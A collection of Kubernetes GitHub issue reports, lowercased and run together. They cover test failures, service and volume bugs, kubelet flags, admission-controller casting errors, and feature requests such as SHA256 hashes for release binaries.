2017-04-27t17:06:34.048056307z\  level=error msg=\ not continuing with pull after error: error: image saltside/kviberg-smoke-test:245719c not found\ \r apr 27 17:06:41 ip-172-20-52-174 dockerd 12344 : time=\ 2017-04-27t17:06:41.081477350z\  level=error msg=\ handler for get /v1.24/containers/0c08f242a7101f22d79fc02e81fb7d3d90d4869abbfda85b5ac7699e4322c859/json returned error: stat /var/lib/docker/overlay/267ae2ef89e0ddafaee721e1b26e23824b35b9d3571382a95f37e82a39358da1: no such file or directory\ \r    \r \r

testgrid: https://k8s-testgrid.appspot.com/google-aws kops-aws-slow\r failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html aee02e0442d98d20850b\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1243\r expected error:\r     < errors.errorstring | 0xc4201e86e0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:612\r    \r \r @kubernetes/sig-apps-test-failures \r /assign @michellen @mattfarina @prydonius \r /cc @justinsb

bug report  : the submit queue is  broken on head  https://prow.k8s.io/?type=batch  do to  errors with hack/verfiy-codegen  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-verify/43356/ . it fails after detecting the dif in versioned/clientset with the error message  vendor/k8s.io/kube-gen/hack/../test is out of date. please run hack/update-codegen.sh . suspect that   49370 may be the trigger if not the cause.\r \r 

ref: https://k8s-testgrid.appspot.com/sig-scalability\r \r @mtaufen - your pr https://k8s-testgrid.appspot.com/sig-scalability was the only one in the diff, and it seems like it broke hollow-kubelet. i'll try to take a further look into it, but for now i think we should revert it as it is blocking the sq.\r \r @kubernetes/sig-scalability-misc @wojtek-t

when the garbage collector runs against an object which contains rawextension fields, currently it will decode the nested object into an unstructured.unstructured, then re-encode it when it posts an update.  this may have the side effect of changing the serialisation of the nested object  e.g. field orderings  and is more cpu and bandwidth intensive than is necessary.\r \r it would be better if patch were used to remove the object finaliser instead.\r \r  \r @deads2k \r @ironcladlou \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : externalname service environment\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r  though it seems like a bug to me \r \r the externalname of externalname services should appear under the servicename_service_host environment variable in created containers.\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :  presuming irrelevant \r \r \r   what happened  :\r \r root@debug-f95f68697-2cx2d:/  printenv\r hostname=debug-f95f68697-2cx2d\r kubernetes_port_443_tcp_proto=tcp\r kubernetes_port_443_tcp_addr=10.0.0.1\r kubernetes_port=tcp://10.0.0.1:443\r pwd=/\r home=/root\r kubernetes_service_port_https=443\r kubernetes_port_443_tcp_port=443\r kubernetes_port_443_tcp=tcp://10.0.0.1:443\r term=xterm\r shlvl=1\r kubernetes_service_port=443\r path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r kubernetes_service_host=10.0.0.1\r _=/usr/bin/printenv\r \r \r   what you expected to happen  :\r \r above should have additionally contained at least:\r \r authservice_service_host=example.com\r \r   how to reproduce it    as minimally and precisely as possible :\r \r kubectl create service externalname authservice --external-name example.com \r kubectl run -it debug --image debian:stretch\r \r   anything else do we need to know  :\r \r previously reported as  39356

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r cannot update service from another type to externalname using io.fabric8.kubernetes.client.dsl.internal.serviceoperationsimpl.replace service item .\r the request body is:\r  {\r         \ name\ : \ sha1\ ,\r         \ namespace\ : \ sha\ ,\r         \ uid\ : \ xxx\ ,\r         \ labels\ :  {\r             \ xxx\ : \ xxx\ \r         } ,\r         \ selector\ : null,\r         \ clusterip\ : null,\r         \ externalips\ :   ,\r         \ ports\ :  \r             {\r                 \ protocol\ : \ tcp\ \r             }\r          ,\r         \ ingress\ :   ,\r         \ type\ : \ externalname\ ,\r         \ createdon\ : null,\r         \ createdby\ : null,\r         \ age\ : null,\r         \ links\ :  \r             \ x.x.x.x:x\ \r          ,\r         \ enningress\ : null,\r         \ externalname\ : \ a.b.c.d\ \r     }\r the error message is:\r service sha-service-1 is invalid: \r  spec.clusterip: invalid value: x.x.x.x: must be empty for externalname services, spec.ports 0 .port: invalid value: 0: must be between 1 and 65535, inclusive . \r \r  1  the problem of clusterip:\r i tried to change this line\r \ clusterip\ : null\r to \r \ clusterip\ : \ none\ \r or to\r \ clusterip\ : \ \ \r or even delete this line, but it didn't work, the error message was the same.\r i also tried to set null value in the java program to the clusterip of the service, but it didn't work.\r it always get the clusterip of the service, and tell me the error.\r \r  2  the problem of port:\r i tried to change this part\r \ ports\ :  \r             {\r                 \ protocol\ : \ tcp\ \r             }\r          ,\r to \r \ ports\ :   ,\r or to \r \ ports\ :  \r             {\r                 \ port\ : 2000\r             }\r          ,\r then the error \ spec.ports 0 .port: invalid value: 0: must be between 1 and 65535, inclusive\  will not appear.\r i.e. i must give it a port number or give nothing. if i give something incomplete, it cannot work.\r \r   what you expected to happen  :\r no matter how i write the clusterip and ports parts in the request body, it should update successfully.\r because according to the documentation, for service type externalname, clusterip and port should be both ignored.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using\r io.fabric8.kubernetes.client.dsl.internal.serviceoperationsimpl.replace service item \r to update a service from any other type to externalname type, and use the following request body\r  {\r         \ name\ : \ sha1\ ,\r         \ namespace\ : \ sha\ ,\r         \ uid\ : \ xxx\ ,\r         \ labels\ :  {\r             \ xxx\ : \ xxx\ \r         } ,\r         \ selector\ : null,\r         \ clusterip\ : null,\r         \ externalips\ :   ,\r         \ ports\ :  \r             {\r                 \ protocol\ : \ tcp\ \r             }\r          ,\r         \ ingress\ :   ,\r         \ type\ : \ externalname\ ,\r         \ createdon\ : null,\r         \ createdby\ : null,\r         \ age\ : null,\r         \ links\ :  \r             \ x.x.x.x:x\ \r          ,\r         \ enningress\ : null,\r         \ externalname\ : \ a.b.c.d\ \r     }\r \r   anything else we need to know?  :\r if it is not a bug, how can i solve this problem?\r did i use the right function?\r how can i update the service type to externalname without validating the clusterip and port?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2 server \r \r

feature request  \r \r  \r   what happened  :\r \r on https://dl.k8s.io/, individual k8s binary files are available for each version with its hashes. for example, https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl has its \r hashes, https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.md5 and https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.sha1. both hashes are not exactly what i would want to use in the long term. however, there's no hash for sha256 or sha512, like https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.sha256, https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.sha512. this is 2018, and i suppose that's not ideal for security reasons.\r \r   what you expected to happen  :\r \r there should be at least one decent hash file for each k8s binary file, either sha256 or sha512.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r curl -sslo https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.sha256\r curl -sslo https://dl.k8s.io/v1.11.0/bin/linux/amd64/kubectl.sha512\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0\r \r see also https://github.com/kinvolk/kube-spawn/pull/316.

we recently came across a problem related to empty psp while upgrading  kubedb  https://github.com/kubedb . if a pod's role has an empty resourcename  \ \   as podsecuritypolicy, our kubedb operator  superset of the pod  needs to have an empty resourcename  \ \   alongside other normally named resourcenames as podsecuritypolicy in it's  operator  clusterrole as well. \r in pod:\r    \r - apigroups:\r   - policy\r   resourcenames:\r   - \ \ \r   -psp-for-db-1\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r    \r in operator:\r    \r - apigroups:\r   - policy\r   resources:\r   - podsecuritypolicies\r   verbs:  \ use\  \r   resourcenames:\r   - \ \   wont work without this \r   - psp-for-db-1\r   - psp-for-db-2\r   ...\r    \r in short, it means that empty psps are treated as any other normally named psp.\r \r \r we expect that an empty resourcename in policy should not be treated as a normally and purposefully named psp resource. is there any functional reason why it is how it is? \r \r reproduce: kubedb/project 481

docker does a credential check when pulling images, but not when using them. it will let you run an image that is already pulled even if you don't present credentials.  that is reasonable behavior from the standpoint of the docker tool since it is not trying to be multi-user.  however, it makes it hard to make kubernetes multi-user. if an image is already pulled,  e.g. using  imagepullsecrets , then anyone else can use that image by setting pull policy to  ifnotpresent , even if they lack proper credentials.   we could try to fix this by disallowing  ifnotpresent  pull policy on all pods, thus forcing a docker pull before each docker run, and failing the pod if the docker pull failed.  we would need to implement and e2e test that.

i was following the getting started with  k8s on aws guide   http://kubernetes.io/docs/getting-started-guides/aws/ an ran into a minor issue, which was nevertheless really frustrating.  i set the env variable  kube_aws_zone  to  us-west-2 , which is obviously wrong  should be us-west-2a , but i didn't notice in the first place.   the error message that showed up was the following:    invalid endpoint: https://ec2.us-west-.amazonaws.com   this didn't really point me in the right direction as the most important part of the endpoint wasn't even displayed  missing the \ 2\  . i don't know if thats an error message bug related to k8s or the aws cli.

the nfs example under https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/nfs has an issues\r \r nfs-pvc will not be able to bound to manually created nfs-pv object after release 1.6 with default storageclass. in pr  31617, a default storageclass is deployed automatically. because of this change, for persistentvolumeclaim that does not have any storageclass annotation  as in https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/nfs/nfs-pvc.yaml , default storageclass will automatically create a gce-pd persistent volume object to bound t \r   he claim. so nfs-pvc will not bound to the nfs-pv object created manually. \r to solve this issue, there are a few possible ways, but they are not reliable based on my experiences. \r 1. delete storageclass api object. i tried a number of times, most of time it does not work because storageclass is recreated whenever a pvc is created. sometimes, pvc is in pending state for a long time. \r 2. edit storageclass api object: to set is-default-class to false. after this update, a new created pvc is in pending state for long time.

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:20:04z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r    kubernes are installed on a virtual machine.\r -   os    e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r linux  4.7.3-1.el7.elrepo.x86_64  1 smp wed sep 7 13:19:00 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r the kubernetes are deployed following guide https://github.com/kubernetes/kube-deploy/tree/master/docker-multinode.\r \r -   others  :\r nfs persistent volumes are created on kubernetes cluster. and nfs persistent volume are consumed in some pods.\r \r   what happened  :\r after the kubenetes installation,  all the pods, service, pv, pvc, dns, ... work fine. but it's failed to reboot the server. it seems reboot hangs on a specified step relevant with nfs. \r on the console of vmware sphere, the log of vm as below:\r ...\r   ok   unmounted /run/docker/netns/0db421da098a.\r   ok   unmounted /opt/kubernetes/data/docker/contain...0df9c0be917bd506d42209fb4b6337c/shm\r   ok   unmounted /run/docker/netns/32a95753d81d.\r   ok   unmounted /opt/kubernetes/data/docker/contain...796965ac71e1f1fdf070a95389ec840/shm\r   ok   unmounted /run/docker/netns/52e14e816550.\r   ok   unmounted /opt/kubernetes/data/docker/contain...ce8ab0000ec45741c8f16ec421c0518/shm\r   ok   unmounted /run/docker/netns/65ad0a0051a9.\r   ok   unmounted /opt/kubernetes/data/docker/contain...4c4fa6f450c9b137ad6cd913deb491e/shm\r   ok   stopped docker application container engine.\r           stoppping docker application container engine...\r   ok   unmounted /opt/kubernetes/data/docker-boostrap/contain...e3e62ad57511fc39e11b03f93ccf1466/shm\r   ok   unmounted /opt/kubernetes/data/docker-boostrap/contain...8d6ca3ba3deb1241013b9295c53720/shm\r   ok   unmounted /opt/kubernetes/data/docker-boostrap/contain...da4d98300dcfb45a4a88cd2aee2bb78/shm\r   ok   unmounted /opt/kubernetes/data/docker-bootstrap/devicemapper.\r   ok   stopped docker application container engine.\r              2 of 7  a stop job is running for /var/lib/k...bernetes.io~nfs/nfs-vol  2min37s /3min \r \r notes: nfs-vol is the pv name created on this env.\r \r   what you expected to happen  :\r the server should be reboot successfully.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   anything else do we need to know  :\r \r the yaml file for pv and pvc as below:\r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: nfs-vol\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r spec:\r   capacity:\r     storage: 50gi\r   accessmodes:\r     - readwritemany\r   persistentvolumereclaimpolicy: retain\r   nfs:\r     path: /var/vols/nfs/core\r     server: xx.xx.xx.xx\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: nfs-vol-claim\r   namespace: core\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 50gi\r   selector:\r     matchlabels:\r         kubernetes.io/cluster-service: \ true\ \r \r \r and here is yaml file example that how nfs volume is consumed:\r \r ...\r         volumemounts:\r         - name: db-store\r           mountpath: /var/pgdata\r           subpath: platform-1.0/dm_db\r       volumes:\r       - name: db-store\r         persistentvolumeclaim:\r           claimname: nfs-vol-claim\r ...\r \r \r \r

refer to:  https://github.com/kubernetes/kubernetes/pull/33123  https://github.com/kubernetes/kubernetes/pull/33123 \r \r use case: in general, we have two ips at least on cloud vm, one is internal ip, another is external ip. for pod communication, we would like to use internal ip for k8s cluster; but for other apps, it will communicate with the node by external ip. so,  kubectl get node xxxx  should not just return one internal ip of the node   --node-ip  :\r \r    \r // set ip and hostname addresses for the node.\r func  kl  kubelet  setnodeaddress node  api.node  error {\r ...\r \tif kl.cloud != nil {\r \t\tinstances, ok := kl.cloud.instances  \r \t\tif !ok {\r \t\t\treturn fmt.errorf \ failed to get instances from cloud provider\  \r \t\t}\r \t\t// todo roberthbailey : can we do this without having credentials to talk\r \t\t// to the cloud provider?\r \t\t// todo justinsb : we can if currentnodename   was actually currentnode   and returned an interface\r \t\t// todo: if ip addresses couldn't be fetched from the cloud provider, should kubelet fallback on the other methods for getting the ip below?\r \t\tnodeaddresses, err := instances.nodeaddresses kl.nodename \r \t\tif err != nil {\r \t\t\treturn fmt.errorf \ failed to get node address from cloud provider: %v\ , err \r \t\t}\r \t\tif kl.nodeip != nil {\r \t\t\tfor _, nodeaddress := range nodeaddresses {\r \t\t\t\tif nodeaddress.address == kl.nodeip.string   {\r \t\t\t\t\tnode.status.addresses =   api.nodeaddress{\r \t\t\t\t\t\t{type: nodeaddress.type, address: nodeaddress.address},\r \t\t\t\t\t\t{type: api.nodehostname, address: kl.gethostname  },\r \t\t\t\t\t}\r \t\t\t\t\treturn nil\r \t\t\t\t}\r \t\t\t}\r \t\t\treturn fmt.errorf \ failed to get node address from cloud provider that matches ip: %v\ , kl.nodeip \r \t\t}\r \r \t\t// only add a nodehostname address if the cloudprovider did not specify one\r \t\t//  we assume the cloudprovider knows best \r \t\tvar addressnodehostname  api.nodeaddress\r \t\tfor i := range nodeaddresses {\r \t\t\tif nodeaddresses i .type == api.nodehostname {\r \t\t\t\taddressnodehostname = &nodeaddresses i \r \t\t\t\tbreak\r \t\t\t}\r \t\t}\r \t\tif addressnodehostname == nil {\r \t\t\thostnameaddress := api.nodeaddress{type: api.nodehostname, address: kl.gethostname  }\r \t\t\tnodeaddresses = append nodeaddresses, hostnameaddress \r \t\t} else {\r \t\t\tglog.v 2 .infof \ using node hostname from cloudprovider: %q\ , addressnodehostname.address \r \t\t}\r \t\tnode.status.addresses = nodeaddresses\r \t}\r ...\r }\r    \r \r currently, if we config kubelet with  --node-ip=<internal ip> , we will fail to get external ip of this node in k8s cluster.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2286/ failed:  k8s.io  container runtime conformance test container runtime conformance blackbox test when running a container with a new image should be able to pull image from docker hub  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/runtime_conformance_test.go:387 feb 28 18:16:57.253: all 3 attempts failed: expected container state: running, got: \ waiting\  /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/runtime_conformance_test.go:384

right now when a pod is added/updated in the shared cache, most of the controllers are going to log something about it which is really frustrating. pods with owner references should be logged only by the controller of the owner.

nsenter_mounter.go mistakenly determines that a mount point is not a mount point if the mount point path contains a space. it will then try & fail to delete the mount point instead of unmounting it first. \r \r the output of findmnt is parsed by splitting it into space-separated fields. normally \ target\  is the first field but if it contains a space, it is truncated. example, note the space in \  ose3-vmware  kubevols\  in the path\r \r may 08 16:07:35 mawong atomic-openshift-node 32763 : i0508 16:07:35.592837     353 nsenter_mount.go:196  islikelynotmountpoint findmnt output for path /var/lib/origin/openshift.local.volumes/plugins/kubernetes.io/vsphere-volume/mounts/ ose3-vmware  kubevols/kubernetes-dynamic-pvc-e46bca08-3431-11e7-abad-005056a5d7df.vmdk: /var/lib/origin/openshift.local.volumes/plugins/kubernetes.io/vsphere-volume/mounts/ ose3-vmware :\r may 08 16:07:35 mawong atomic-openshift-node 32763 : i0508 16:07:35.592853     353 nsenter_mount.go:202  islikelynotmountpoint: /var/lib/origin/openshift.local.volumes/plugins/kubernetes.io/vsphere-volume/mounts/ ose3-vmware  kubevols/kubernetes-dynamic-pvc-e46bca08-3431-11e7-abad-005056a5d7df.vmdk is not a mount point\r \r the vsphere cloudprovider doesn't insert the space there deliberately or anything, it's done by the library:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l1299\r https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/vmware/govmomi/object/datastore_path.go l64\r \r so i'll try to make nsenter-mount.go parsing of findmnt a bit smarter, though it looks like the code is quite fragile.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/nsenter_mount.go l194

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubelet has support for running in dockershim-only mode via a hidden flag named  --experimental-dockershim , but this flag is ignored when kubelet is run using hyperkube binary, e.g.  ./hyperkube kubelet --experimental-dockershim .\r \r   what you expected to happen  :\r i expected  --experimental-dockershim  to have the same effect with hyperkube as it has with 'plain' kubelet binary.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to run kubelet in dockershim mode using hyperkube binary:  ./hyperkube kubelet --experimental-dockershim  it'll start in normal mode instead.\r \r   anything else we need to know?  :\r we use dockershim server for cri proxy part of  virtlet  https://github.com/mirantis/virtlet  project.\r virtlet is a cri implementation for running vms as pods, and thanks to that cri proxy mechanism it's deployed as a daemonset itself. unfortunately lack of  --experimental-dockershim  flag in hyperkube causes some deployment difficulties and as of now we have to import code from kubelet to run our own dockershim server.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1\r \r i can fix this one myself if it's agreed that the change is useful.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r re-applying a nodeport service that has two ports fails and crashes the api server:\r \r    \r λ kubectl apply -f repro.yaml\r deployment \ hello-world\  created\r service \ hello-world\  created\r \r λ kubectl apply -f repro.yaml\r deployment \ hello-world\  configured\r error: error when applying patch:\r {}\r to:\r &{0xc420f01380 0xc420273ce0 default hello-world repro.yaml 0xc420f4a480 0xc420f4a698 1051 false}\r for: \ repro.yaml\ : patch https://192.168.99.100:8443/api/v1/namespaces/default/services/hello-world: unexpected eof\r    \r \r   what you expected to happen  :\r \r do not crash, service is configured correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: hello-world\r   labels:\r     app: hello-world\r spec:\r   template:\r     metadata:\r       labels:\r         app: hello-world\r     spec:\r       containers:\r         - name: hello-world\r           image: tutum/hello-world\r           ports:\r             - name: web\r               containerport: 80\r               protocol: udp\r             - name: web-tcp\r               containerport: 80\r               protocol: tcp\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: hello-world\r   labels:\r     app: hello-world\r spec:\r   type: nodeport\r   selector:\r     app: hello-world\r   ports:\r     - name: web\r       protocol: udp\r       port: 80\r       nodeport: 31234\r     - name: web-tcp\r       protocol: tcp\r       port: 80\r       nodeport: 31234\r    \r \r    bash\r kubectl apply -f ./repro.yaml\r kubectl apply -f ./repro.yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-11-01t00:49:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  minikube version: v0.23.0  on vbox provider in macos\r - os  e.g. from /etc/os-release : macos/minikube\r - kernel  e.g.  uname -a  :  linux minikube 4.9.13  1 smp thu oct 19 17:14:00 utc 2017 x86_64 gnu/linux \r - install tools:\r - others:\r

feature request:\r \r when using  ipvs , it is possible to set a specific scheduler up that determines, cluster-wide, which algorithm to use;  round-robin ,  least-connection , etc.\r \r it would be useful to have this option available on individual services. when no annotation is set or an unsupported algorithm is defined  or  ipvs  is not used , the service would fall back to the default set up for  kube-proxy .\r \r this would allow you to go with  round-robin  for your web service,  least-connections  for your database service, etc.\r \r my suggestion would be to add it as a simple option,  scheduler  which would default to  rr  and offer the same options as  ipvs . alternatively, some \ generic\  names could be used to abstract it out to be future-proof.\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r

i was trying to write a simple regression test for  6083, and discovered it is still a huge pain to write unit tests. you have to create a test factory, a fake restclient, custom build a client.fake, call setupargs   on the command, and then separately parse the args to pass to the run<command> function. it needs to be way simpler or we will continue to lack test coverage of kubectl functionality.

_problem_  lots of default handling in tests for == 0 and so on with testconfig...       if framework.testcontext.cadvisor.maxretries == 0 { +           retry = 6 +           framework.logf \ overriding default retry value of zero to %d\ , retry  +       }      _solution_ - add isset primitives  but for sanity, make sure these are decoupled from viper.isset  to testconfig,  - to do this, we need to make testconfig a struct, and then we can setup defaults in a centralized way as much as possible in the newtestconfig function.  cc @kubernetes/sig-testing

from docker's  documentation  https://docs.docker.com/engine/reference/run/ /security-configuration , selinux labels format has been changed to\r \r    \r --security-opt=\ label=user:user\    : set the label user for the container\r --security-opt=\ label=role:role\    : set the label role for the container\r --security-opt=\ label=type:type\    : set the label type for the container\r --security-opt=\ label=level:level\  : set the label level for the container\r --security-opt=\ label=disable\      : turn off label confinement for the container\r    \r \r so we need to change  label:  to  label=  for docker 1.11+  and keep  label:  for low version docker . i'd like to fix the issue in the following pr after  34811.   \r \r cc/ @pmorie @timstclair @yujuhong

default toleration should be applied to newly created pods. but:\r    bash\r $ kubectl run test --image=kubernetes/pause\r $ kubectl get pod -o json\r    \r gives result:\r    json\r             \ spec\ : {\r                 \ containers\ :  \r                     {\r                         \ image\ : \ kubernetes/pause\ ,\r                         \ imagepullpolicy\ : \ always\ ,\r                         \ name\ : \ test\ ,\r                         \ resources\ : {\r                             \ requests\ : {\r                                 \ cpu\ : \ 100m\ \r                             }\r                         },\r                         \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                         \ terminationmessagepolicy\ : \ file\ ,\r                         \ volumemounts\ :  \r                             {\r                                 \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                                 \ name\ : \ default-token-x4vbw\ ,\r                                 \ readonly\ : true\r                             }\r                          \r                     }\r                  ,\r                 \ dnspolicy\ : \ clusterfirst\ ,\r                 \ nodename\ : \ e2e-test-gmarek-minion-group-9vzb\ ,\r                 \ restartpolicy\ : \ always\ ,\r                 \ schedulername\ : \ default-scheduler\ ,\r                 \ securitycontext\ : {},\r                 \ serviceaccount\ : \ default\ ,\r                 \ serviceaccountname\ : \ default\ ,\r                 \ terminationgraceperiodseconds\ : 30,\r                 \ volumes\ :  \r                     {\r                         \ name\ : \ default-token-x4vbw\ ,\r                         \ secret\ : {\r                             \ defaultmode\ : 420,\r                             \ secretname\ : \ default-token-x4vbw\ \r                         }\r                     }\r                  \r             },\r    \r \r log from the apiserver says:\r    \r e0308 07:16:37.959599       5 admission.go:71  expected pod but got pod\r    \r which indicates some problems with casting:\r    \r  69   pod, ok := attributes.getobject  .  v1.pod \r  70   if !ok {\r  71     glog.errorf \ expected pod but got %s\ , attributes.getkind  .kind \r  72     return nil\r  73   }\r    \r \r this admission controller is using:\r    \r \ k8s.io/kubernetes/pkg/api/v1\ \r    \r \r which is probably wrong, as i guess it should be  api/v1/  from client-go. another example when apimachinery refactoring bites us. cc @deads2k @lavalamp @caesarxuchao @brendandburns \r \r @kevin-wangzefeng please fix, and verify that it's working.\r \r cc @davidopp \r

wrt https://github.com/kubernetes/test-infra/issues/2453 https://github.com/kubernetes/test-infra/pull/2489 https://github.com/kubernetes/test-infra/pull/2487\r \r i think a lot of the upgrade test suites would start passing if we fixed:\r \r  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance \r  k8s.io  kubectl client  k8s.io  kubectl taint should remove all the taints with the same key off a node\r  k8s.io  kubectl client  k8s.io  kubectl taint should update the taint on a node\r  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade \r which seem to be the common failures: https://k8s-testgrid.appspot.com/upgrades-gce-cvm-and-gci summary\r \r let's please try this first before deleting these jobs.\r \r i don't have a lot of cycles right now, but if i can't fix these myself i will try to find someone who can in the next month.

is this a bug report or feature request?  :\r  \r   what happened  :\r pr  46460 introduces a new configuration file that is specified by the  --experimental-encryption-provider-config  option to the api server and contains a sensitive data -- keys that are used for encrypting/decrypting data in the ectd.\r \r at this moment, kubernetes reads this file and doesn't do any extra check to ensure that the file has strong enough permissions.\r \r   what you expected to happen  :\r kubernetes should at least   issue a warning when this file is readable or writable to any user  . if we want to treat this situation even more serious, we can abort startup process of the api server.\r \r cc @sakshamsharma @smarterclayton \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/1896 sig-storage-serial-volume-metrics-should-create-volume-metrics-with-the-correct-pvc-ref \r  testgrid  https://k8s-testgrid.appspot.com/google-gce gce-serial&include-filter-by-regex=%5eoverall%24%7c%5c%5bsig%5c-storage%5c%5d%5c%20%5c%5bserial%5c%5d%5c%20volume%5c%20metrics%5c%20should%5c%20create%5c%20volume%5c%20metrics%5c%20with%5c%20the%5c%20correct%5c%20pvc%5c%20ref \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:172\r pvc pvc-tk4f5, namespace e2e-tests-pv-7bnp6 not found for kubelet_volume_stats_used_bytes\r expected\r     <bool>: false\r to be true\r 